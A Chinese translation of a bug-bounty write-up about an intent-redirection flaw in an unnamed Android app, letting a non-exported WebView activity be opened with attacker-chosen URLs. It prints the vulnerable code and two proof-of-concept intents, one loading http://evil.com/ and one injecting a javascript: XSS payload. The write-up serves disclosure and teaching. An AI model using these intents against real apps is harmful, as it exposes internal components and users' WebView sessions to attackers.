白帽故事 · 2024年6月12日 0

某Android APP中一处国内不认国外认的有趣Bug

前言

该APP在Hackerone上为“私有项目”,白帽小哥在该APP中发现了一处有趣的Bug,分享给各位。

故事开始

该APP有两个Activity。

一个我们姑且称之为com.activity.webview
另一个称之为com.Deeplink Splash activity

file

首先进行静态分析,发现下面的Activity容易受到intent重定向攻击,这是因为它使用了隐式intent,这可能导致打开未导出的Activities和Content providers。

homeActivityIntent = (android.content.Intent) intent2.getParcelableExtra("referrerActivity");
       } else {
           homeActivityIntent = activity.getHomeActivityIntent();
       }
       activity.startActivity(homeActivityIntent);

许多开发者会利用该功能创建proxy components(Activities,、broadcast receivers和services),这些组件采用嵌入式 Intent 并将其传递给危险方法,例如 startActivity() 、 sendBroadcast() 等。

这样做是很危险的,因为攻击者可以强制应用程序启动无法直接从其他应用程序启动的非导出组件,或者授予攻击者对 content providers 的访问权限。 WebView 有时还使用 Intent.parseUri() 方法将 URL 从字符串更改为 Intent 对象,并将其传递给 startActivity() ,这就违反了Android的安全设计原则。

其中有一个未导出的 webview activity,它采用 url 作为参数。那么尝试写一个PoC APP。

PoC代码:

            Intent extra = new Intent();
            extra.setClassName("com.private.mobileapp", "com.activity.webview");
            extra.putExtra("url", "http://evil.com/");

            Intent intent = new Intent();
            intent.setClassName("com.private.mobileapp", "com.DirectDeeplinkSplashactivity");
            intent.putExtra("referrerActivity", extra);
            startActivity(intent);

运行查看:

file

那么尝试一些XSS Payloads,

   Intent extra = new Intent();
            extra.setClassName("com.private.mobileapp", "com.activity.webview");
            extra.putExtra("url", "javascript://legitimate.com/%0aalert(1)");

            Intent intent = new Intent();
            intent.setClassName("com.private.mobileapp", "com.DirectDeeplinkSplashactivity");
            intent.putExtra("referrerActivity", extra);
            startActivity(intent);

再次运行查看:
file

最终该漏洞被厂商认定为“中危”。

file

骨哥画外音:这种漏洞在国内很多SRC都不认,但是在国外H1上就呵呵哒了~

以上内容由骨哥翻译并整理。

原文:https://medium.com/@jooelsaka/an-interesting-bug-that-i-found-in-android-mobile-application-becf25c8c4d8